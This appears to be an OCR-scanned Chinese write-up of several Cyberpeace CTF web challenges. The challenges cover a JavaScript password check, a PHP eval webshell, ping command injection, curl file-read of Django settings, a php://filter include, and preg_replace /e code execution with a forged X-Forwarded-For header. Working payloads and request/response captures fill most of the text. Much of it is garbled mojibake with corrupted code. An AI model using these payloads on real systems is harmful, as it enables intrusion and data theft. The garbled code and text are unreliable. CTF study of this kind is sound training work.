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simple js

MEEERHL
I E S

BBRA: NEIT—NE, (BB, (Flagh§zl s Cyberpeace{xxxxxxxxx} )

AEZR: R R

IASES

JS{)E%J‘—%

<script>
function dechiffre(pass_enc){
var pass = "70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65";
var tab = pass_enc.split(',");
var tab2 = pass.split(',"');
var i,j,k,1=0,m,n,o,p = "";i = 0;]j = tab.length;
k =3+ (1) + (n=0);
n = tab2.length;
for(i = (0=0); i < (k = 3j =n); i++ ){o = tab[i-1];p += String.fromCharCode((o = tab2[i]));
if(i == 5)break;}
for(i = (0=0); i < (k =3j =n); i++ ){
o = tab[i-1];
if(i > 5 && i < k-1)
p += String.fromCharCode((o = tab2[i]));
¥
p += String.fromCharCode(tab2[17]);
pass = p;return pass;
¥
String["fromCharCode"](dechiffre("\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\Xx
EMAVENAVEIAVIIAVENAVENAVEIAVVIAVENAVE AV EVAV VIAVEVAVEL AV VIAVE LAV E R DK

h = window.prompt('Enter password');
alert( dechiffre(h) );
</script>

BHEETHA. . BERARMREN, FEHBSRREK—H
\X35%35\x2c\x35\%36\x2c\x35\%34\x2c\x3 7\x39\x2¢c\x3 1\x31\x35x2c\x36\x39\x2c\x3 1\1%3 1\x34\x2¢c\x3 1\x31\x36\x2c\x3 1\x30\x3 7\x2¢\
x34\X39\%2c\X35\x30, Ft LA B A pyIA MRS BI85 15, 7E N L AT SRR BT .

# -*- coding:utf-8 -*-

AV ERAVE AV PIAVERAVEI AV IAVE LAV EZAVPIAV ETAV E LAV PIAV ENAVENAVE LAV VTAVE I AV E LAV PIAVE I AV E I AV E VAV PIAV E Y AV E XAV EI AV @Xa
NENAVE AV EVAV VIRV EVAVELL AV VIAVE LAV E] N

print(s)




5 %155,56,54,79,115,69,114,116,107,49,50

# -*- coding:utf-8 -*-
s=[55,56,54,79,115,69,114,116,107,49,50]

for i in s:

print(chr(i),end="")

860sErtkl2[Finished in ©.1s]
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https://github.com/rootphantomer/Blasting_dictionary/blob/master/%25E5%25B8%25B8%25E7%2594%25A8%25E5%25AF%2586%25E7%25A0%2581.txt
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{F={EHwebshelllE?

<?php @eval($ POST['shell);?>

"] Hlindex.phph B&H T — M shell, RIS/ T E# B # B postZ HE A 7.



1.1 mm ses=dtde ¢ http://111.198.29.45:47064/index.php) _Ox
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shell=print_r(scandir(getcwd()));

INT ~ | =& SQL- XSS- Encryption- Encoding- Other-
= Load URL |bhttp://111. 19828, 456:470864/

% split URL

') Execute

Enable Post data [ | Enable Referrer

Post data =hell=print ri=zcandiri

@ Disable- & Cookies- # CSS- [ Forms- [& Images- @ Information- E Miscellaneous- # Qutline- #” Resize ¥ Tools- B View Source- [ Options-

k2> 1% Flwebshellm ?
Array ([0] => [1] => _ [2] == flag txt [3] =>
index.php } <?php
@eval($_POST['shell),?>

(@ %o [ [4(e @[~ [F[¢[* D

shell=print_r(show_source(‘flag.txt’));

INT v | = @ SQL- XSS+ Encryption Encodings Other
@ Load URL |http://111 188 29, 45:47064/

% split URL

*) Execute

Enable Post data [ ] Enable Referrer

Post data shell=print_r (show_sewrce( flag txt[ ));

@ Disable- & Cookies” # CSS- [ Forms- & Images” @ Information- [ Miscellaneous- #* Outliner # Resize- ¥ Tools” B View Source- (1] Options~

B
&
]
-}
i
[ ]
&,
w R&= 1 Flwebshell " ?
g. cyberpeace{e2c11fde95ae3af327bas4ff4pacesdb} 1<?php
ﬁ_ @eval(3_POST['shell);?>
|3
Z Fflag.

Hrhgetewd ()R U IR 8 T1E B 3%, scandir() A% H B 3 B B SCHF print_r $#%4% 345 show_source()/: % HH S04 I A 2.



7] Phshell=system(‘ls’);

INT v | =@ SQL- XSS- Encryption- Encoding- Other-
= Load URL |http://111. 195 23 45:47064/

f Split URL

') Execute

Enable Post data [ ] Enable Referrer

Jost data shell=system( 1" J;

9 Disable- & Cookies- # CSS- [ Forms- (& Images- @ Information- [ Miscellaneous- # Outline- #” Resize- ¥ Tools- B View Source- [1] Options-

1r2=1# Flwebshell 15 ?

flag txt index php <?php
@eval($_POST['shell]),?=

Y ler (¢ (8 @~ A [« D

shell=system(‘cat flag.txt’);

INT v | =& SQL- XSS+ Encryption- Encoding- Cther
& Load URL |bttp://111.195.25 45 47084/

& split URL

r) Execute

Enable Post data [ ] Enable Referrer

Post data shell=system(’ cat £lag txt] );

@ Disable- & Cookies- »# CSS- [ Forms- [& Images- @ Information- [E Miscellaneous- # Qutline- & Resize- ¥ Tools- B View Source- [1] Options-

{14 {# Flwebshellnd, ?

cyberpeacele2c11fde95ae3ar327bas4140ac06dbl<7php
@eval($_POST['shell']);?=

(e[ [a(e @~ (@[« (D

1§ Fil system() B LB AT S 38 dn &
5B 38 2 4 19 8 R eval i) BABRAT FIphp B SR B4R

command_execution



PING

127.0.0.1 &&Is ../..1..]/

PING

ping -c 3 127.0.0.1 & 1s ../../../

PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.

64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=6.064 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.072 ms
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.062 ms

--- 127.0.0.1 ping statistics ---

3 packets transmitted, 3 received, 0% packet loss, time 2002ms
rtt min/avg/max/mdev = 0.062/0.066/0.0872/0.004 ms

bin

boot

dev

etc

home
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A EN B B & E B Ehome H 3 T A /Mag.txt catiz Bt Flflag.
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(https:/Iraw.githubusercontent.com/Snatsu/figurebed/master/img/20190624202246.png)]
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< C O &£ | 111.198.29.45:56882/7a=a&b=1235a

H wE @ Welcome To Onli...

{?php

show_source(__FILE_ ) :
include ("config. php”) ;

$a=@8 GET[ a’ ]:

$b=@$_GET[' b’ ];

if($a==0 and S$a) {
echo $flagl;

}

if(is_numeric($b)) {
exit () ;

}

if($b>1234) {
echo $flag?2;
}

?>
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§ Login-iE&

Cyberpeace{647E37C7627CC3E4019EC69324F66C7C}

PR PSSt TIPS T
2B

cat

Cloud Automated Testing

BNREYEE, BIE0: loliclub

Submit



Cloud Automated Testing

ANIRRYEE, #Ia0: loliclub

127.0.0.1 Submit
L= |
PING 127.0.0.1 (127.0.0.1) 56(84) bvtes of data
64 bytes from 127.0.0.1: icmp_seg=1 ttl1=64 time=0.037 ms
—— 127.0.0.1 ping statistics ——

1 packets transmitted, 1 received, 0% packet loss, time Oms
rtt min/aveg/max/mdev = 0.037/0.057/0.057,/0. 000 ms

BRARR M SWT, HELTMKXAI TR T & FFR, A Wmwww.baidu.comiX#Kjurlth & [E & Invalid URL, RH@FFF
BREPELIE.
FEURL H 41 A\ & H ascii id 18 ) 55 7 75 %odif



Cloud Automated Testing

SAINIRAYEE, BIE0: loli.club

Submit

<!DOCTYPE html>
<html lang="en”>
<head>
<meta http—equiv="content—type” content="text/html; charset=utf-8">
<meta name="robots” content="NONE, NOARCHIVE">
<titlerUnicodeEncodeError at /api/ping</title>
<ztyle type="text/cssz”>
html # { padding:0: margin:0: !}
body * { padding:10px 20pxz: |
body * * { padding:0: }
body { font:small sans—serif: ]
bhodvrdiv { border-bottom:lpx solid #ddd: }
hl { font—-weight:normal: }
h2 { margin-bottom:.8em: }
h? span { font—size:80%: color:#666: font—-weight:normal: }
h3 { margin:lem 0 .5em 0: }
h4 { margin:0 0 .2em 0; font-weight: normal; }
code, pre { font-size: 100%: white—space: pre-wrap; !
table [ border:lpx solid Zcce: border—collapse: collapse: width:100%: backeround:white: ]
thody td, tbody th { vertical-alien:top; padding:2px 3px; }
thead th {
padding:lpx 6px lpx 3px; backeround:ifefefe: text—align:left;
font—weight:normal ; font—-size:1llpx: border:lpx solid #ddd;
1
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B & H— KBhtmIRAS, -1 T RIT I R B2 1 django iR 45 F T



UnicodeEncodeError at /api/ping

'gbk’ codec can't encode character u\ufffd' in position 0: illegal multibyte sequence

Request Method: POST
Request URL: http://127.0.0.1:8000/api/ping
Django Version: 1.10.4

Exception Type: UnicodeEncodeError
EXCEPtiOI‘I Value: 'gbk’ codec can't encode character w Sufffd’ in position 0: illegal multibyte sequence
Exception Location: /opt/api/dnsapi/utils.py in escape, line 9
Python Executable: /usr/bin/python
Python Version: 2.7.12
Python Path: [ /optiapi’.
yt *fusr/lib/python2. 77
" fusr/lib/python?. 1/plat-x86_64-limm-gnu’ .,
" fusr/lib/python2. 7/1ib—1k’,
" fusr/lib/pythonZ. 1/1ib-0ld’,
*fusr/lib/pythonz. 7/1ib-dymload’ .

" J/usr/local/1ib/python2, 7/dist-packages’,
* fusr/lib/pythonZ. 7/dist-packages’]

Server time: Wed, 25 Sep 2019 12:50:40 +0000

-

Unicode error hint

The string that could not be encoded/decoded was: ¢

Traceback switch to copy-and-paste view

fuzr/local/lib/pythons. T/dist-packages/django/ coreshandlers/exception. py in irmer

39. response = get_response(recquest)
» Local vars

fuzr/local/1lib/pythone. 7/dist-packages/django/ core/handlers/baze. py in _get_response

FATH_INFD u fapi/ping’
PYD T lopt/Sapl’

HENTH B 40 R
lopt/api

XEALLHEPHPHICURL, 1 H@1E BTSN b0 e B B2 T UL B B O A2
456 django T & B &R (dalaofi il 2 E 1K), °T LA & F settings.py——51 H #ER A B S04
PS: settings.py4: Bl 24 AE E 50 H T LA & FRdr 42 SO R T .

Fir A

/index.php?url=@/opt/api/api/settings.py




15 B K htmIGRAF T RFTIT AT AR BB FE 15 B

DATABASES [ default’ : [ ATONIC_REQUESTS : False,
TAUTOCOMNIT @ True,
TCONM_MAY AGE' @ 0,
TENGINE' : T djanga. db. backends. sqlite?

THOST ;77

"NANE : 7 fopt/fapi/database. sqlited’,
TOPTIONS @ [,

TPASSWORD ¢ o ',
'PORT : 77,

"TEST' : ['CHARSET : None,
"COLLATION @ None,

"NIRROR : None,

"NAME : Nonel,
"TINE_ZONE’ : None,
TUSER’ ;771

Y01 x02AWHCTE fyvoooo_Such A GOOD_ @) \n'

chx0 1Y x02AWHCTF {voooo_Such & GOOD_@} yn'

¥ T 7 VR 4k S 18 B8 FE UM, htmIRAE T RITFF, mI LAk Biflag.
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index.php?page=php://filter/read=convert.base64-encode/resource=index.
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RIS 3| —BiphpfRid. £ABEMRI RG], EEFNEE RN

I RIS N B HEIThEE IEFE T A PaThEE, REEREB AR
if (3 SERVER['HTTP_X FORWARDED FOR'T==="127.0.0.1"{
echo "<br =Welcome My Admin | <pr =";

$pattern = $_GET[pat];
$replacement = $_GET[rep];
$subject = $_GET[sub]:

if (isset($pattern) && isset(Sreplacement) && isset($subject)) {
preg_replace($pattern, $replacement, $subject):

telse{
die();

1

ZJ5 1P A preg_replace BRI : 2% R E — S HpatternRAH T /e EMERE, ZRBKE -NSH
replacement{E ARG HAT

B LAAEL % i x-forwarded-for:127.0.0.1 3% HLurl# ?pat=/.*/e&rep=system(‘ls’)&sub=foo



Go Cancel < |¥ > | Target: http://[111.198.29.45:55370 @

Request Response
JRaw T Params I Headers T Hex } J RawI Headers T Hex T HTML T Render }
3ET /index.php?pat=/.*/e&rep=system('1ls')&sub=foox HTTPF/1.1 " element .on( 'nav(demo) ',
fost: 111.198.29.45:55370 P function({elem) {
Jser—-Agent: Mozilla/5.0 (Windows NT LO.0; Wing4; =x€4; rv:&€2.0) ffconsole.log(elem)
;ecko/20100101 Firefox/E2.0 layer msg(elem.text()) :
(—forwvarded-for:1l27.0.0.1 1
looept: Yy:
cext/html, application/xhtml+xml, application/®ml;q=0.9, */*;q=0.8 </acript>
iccept-Language:
th-CH, zh;q=0.8, eh-TW;q=0.7, eh-HE;q=0.5,en-US;q=0.3 ,en;qg=0.2 <br >Welcome My Admin ! <br >css
leferer: http://111.198.25.45:55370/ index. php index.html
tookie: PHPSESSID=bhSuushnvruie57pjekEijbmEdZ index.php
lonnection: close is
Jpgrade-Insecure-Eequests: 1 layui
tache-Control: max-age=0 logo.pnyg

s3chahahaDir

start.sh

00. png

css

index.html

index.php

is

layui

logo.pnyg

s3chahahaDir

start.sh

00 . payg

</hody>

b </html>

FRIN AT o

T SR E Hrep usystem(‘Is+s3chahahaDir’)
system(‘ls+s3chahahaDir/flag’)

system(‘cat+s3chahahaDir/flag/flag.php’)

Go Cancel < |v > | Target: http://111.198.29.45:55370 _&L

Request Response
jRaw T Params T Headers I Hex ] j RawT Headers T Hex T HTML T Render 1
SET " var element = layui.element:
findex.php?pat=/.*/eirep=system( ' cat+s3chahahalir/flag/flag. php' P //000hev e r000000000000000e L ementOO
) &sub=foo HTTP/Ll.1 J /000000
Host: 111.158.29.45:55370 element . on( 'nav({demo) ',
User-Agent: Mozilla/S5.0 (Windows NT 10.0; Wine4: xe4: rv:e2.0) function{elem) {
Gecko/Z0Ll00101 Firefox/EZ.0 f/fconsole.log(elem)
¥-forwarded-for:127.0.0.1 layer .msyg(elem.text()):
Aocept: Yy
text/html, application/xhtml+4xml, application/xml;q=0.9, %/ *:cq=0.8 1
Aocept-Languages: </script>
zh-CH, zh;gq=0.8, eh-TW;g=0.7, zh-HE; q=0.5,en-U3;g=0.3,en;g=0.2
Referer: http://111.198.29.45:55370/ index. php <br >Welcome My Admin ! <br »<?php
Coockie: PHPSESSID=bhSuushnvruieS5S7piEbheijbmEdz
Connection: close $flag =
Upgrade-Insecure-Fequests: L1 'cyberpeace{etlcdilatisdatilelacas L0Sese=sE82}
Cache-Control: max-age=0 H
=
<?php
iflag =
'cyberpeace{eB06dfZatisdatilelacas l05eeeeE82}
2=
< e
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